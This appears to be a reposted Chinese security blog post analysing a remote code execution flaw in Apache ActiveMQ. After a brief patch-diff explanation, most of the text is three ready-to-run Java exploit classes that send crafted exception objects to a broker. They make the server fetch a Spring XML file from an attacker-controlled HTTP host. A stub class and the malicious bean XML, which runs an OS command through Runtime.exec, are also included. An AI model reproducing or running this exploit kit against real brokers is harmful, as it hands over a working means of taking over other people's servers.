0x01 前言
详细看:
https://mp.weixin.qq.com/s/4n7vyeXLtim0tXcjnSWDAw
完整工程已放小密圈。
0x02 漏洞分析
首先通过diff发现,在createThrowable方法中新增了对参数的类型校验。
然后追踪createThrowable的调用链,进入tightUnmarsalThrowable方法,发现这里调用tightUnmarshalString从dataIn接收了className和String类型的构造函数参数并传入createThrowable。
tightUnmarsalThrowable有多个调用位置,我们选择其中一个进行分析。
在ConnectionErrorMarshaller的序列化和反序列化方法可以看到,序列化时会将对象强转为ConnectionError类型,并调用getException()获取异常对象,这里的setException方法需要传入一个Throwable类型的参数,所以我们在客户端可以构造一个自定义的Exception子类ClassPathXmlApplicationContext使其继承自Throwable,然后在客户端通过ConnectionError的setException方法设置这个自定义的异常类及参数,之后调用oneway发送,在服务端反序列化时,就会进入tightUnmarsalThrowable解析我们构造的异常类名和参数,最终解析XML触发RCE。
0x03 漏洞复现
修改攻击地址以及xml地址。
成功执行。
0x04 脚本代码
ConnectionErrorExploit
import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ActiveMQMessage;
import org.apache.activemq.command.ConnectionError;
import org.apache.activemq.command.MessageAck;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.Connection;
import javax.jms.Session;
import javax.jms.TextMessage;
public class ConnectionErrorExploit {
public static void main(String[] args) throws Exception {
ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = factory.createConnection();
connection.start();
Exception obj2 = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/111.xml");
ConnectionError error = new ConnectionError();
error.setException(obj2);
((ActiveMQConnection)connection).getTransportChannel().oneway(error);
connection.close();
}
}
ExceptionResponseExploit
import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ActiveMQMessage;
import org.apache.activemq.command.ExceptionResponse;
import org.apache.activemq.command.MessageAck;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.Connection;
import javax.jms.Session;
import javax.jms.TextMessage;
public class ExceptionResponseExploit {
public static void main(String[] args) throws Exception {
ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = factory.createConnection();
connection.start();
Exception obj2 = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/111.xml");
ExceptionResponse response = new ExceptionResponse(obj2);
response.setException(obj2);
((ActiveMQConnection)connection).getTransportChannel().oneway(response);
connection.close();
}
}
MessageAckExploit
import org.apache.activemq.command.ConnectionError;
import org.apache.activemq.command.ExceptionResponse;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.*;
import org.apache.activemq.*;
import org.apache.activemq.command.ActiveMQMessage;
import org.apache.activemq.command.MessageAck;
public class MessageAckExploit {
public static void main(String[] args) throws Exception {
ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = factory.createConnection();
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
// Destination destination = session.createQueue("test");
//MessageConsumer consumer = session.createConsumer(destination);
// Message message = consumer.receive();
TextMessage message = session.createTextMessage("1111");
MessageAck ack = new MessageAck((ActiveMQMessage)message, MessageAck.STANDARD_ACK_TYPE, 1);
Exception obj2 = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/111.xml");
// ExceptionResponse response = new ExceptionResponse(obj2);
//response.setException(obj2);
//ConnectionError error = new ConnectionError();
// error.setException(obj2);
ack.setPoisonCause(obj2);
// ((ActiveMQConnection)connection).getTransportChannel().oneway(response);
//((ActiveMQConnection)connection).getTransportChannel().oneway(factory);
((ActiveMQConnection)connection).getTransportChannel().oneway(ack);
//session.close();
connection.close();
}
}
ClassPathXmlApplicationContext
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Exception {
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}
Xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
<bean id="process" factory-bean="runtime" factory-method="exec">
<constructor-arg value="cmd /c start notepad" />
</bean>
</beans>
0x04 小密圈
原文始发于微信公众号(小黑说安全):ActiveMQ最新RCE漏洞分析/复现(附脚本)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论